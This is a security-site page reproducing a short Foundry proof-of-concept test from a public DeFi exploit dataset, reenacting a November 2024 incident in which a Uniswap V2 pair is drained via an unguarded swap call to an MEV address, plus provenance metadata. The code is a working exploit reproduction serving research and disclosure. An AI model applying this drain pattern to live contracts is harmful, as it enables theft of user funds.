Public reproduction file
src/test/2024-11/VRug_exp.sol
Public reproduction file for dataset entry VRug.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 8.4K7// Attacker : 8// Attack Contract : 9// Vulnerable Contract : 10// Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae12// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/185470246373738095817// Twitter Guy : https://x.com/TenArmorAlert/status/185470246373738095818// Hacking God : N/A20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;21address constant attacker = 0x080086911D8c78008800FAE75871a657b77d0082;22address constant mev = 0x0000E0Ca771e21bD00057F54A68C30D400000000;23address constant univ2 = 0x8Cc0c46000A6a4097F9C62293CE62eE5B81E6dfd;25contract ContractTest is Test {26 function setUp() public {27 vm.createSelectFork("mainnet", 21138659);28 }30 function testPoC() public {31 vm.startPrank(attacker, attacker);32 deal(weth9, address(univ2), 3208323423502347412);33 emit log_named_decimal_uint("before attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);34 IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), "");35 emit log_named_decimal_uint("after attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);36 vm.stopPrank();37 }38}Analysis
Dataset entry
Public Foundry test for “VRug” (2024-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Vulnerable Contract
0x5e151627dc06ec4f2db5be2f48248f320ad3450a
- Attack Tx
0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae
File record
- Name
- VRug
- Path
- src/test/2024-11/VRug_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2fe943f77f56fcdb148de2b74516b34791827764
- Language
- Solidity
- Size
- 38 lines
- Date
- 2024-11-07
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/VRug_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2fe943f77f56fcdb148de2b74516b34791827764, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.